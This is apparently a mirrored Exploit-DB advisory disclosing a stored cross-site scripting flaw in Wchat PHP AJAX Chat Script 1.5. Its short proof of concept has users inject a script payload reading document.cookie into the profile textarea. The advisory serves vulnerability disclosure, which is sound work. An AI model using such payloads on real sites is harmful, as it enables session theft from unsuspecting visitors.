Wchat PHP AJAX Chat Script 1.5 – Cross-Site Scripting

• Exploit Database
• 14 阅读

• 作者： L0RD
  日期： 2018-05-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44683/

• # Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script1.5 - Persistent cross site scripting
  # Date: 2018-05-21
  # Exploit Author: Borna nematzadeh (L0RD)
  # Vendor Homepage: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319?s_rank=1327
  # Version: 1.5
  # Tested on: Windows
  
  # POC :
  1) Create your account and navigate to "Edit profile"
  2) Put this payload into textarea :
  </textarea><script>console.log(document.cookie)</script>
  3) The payload will be executed if someone opens your profile .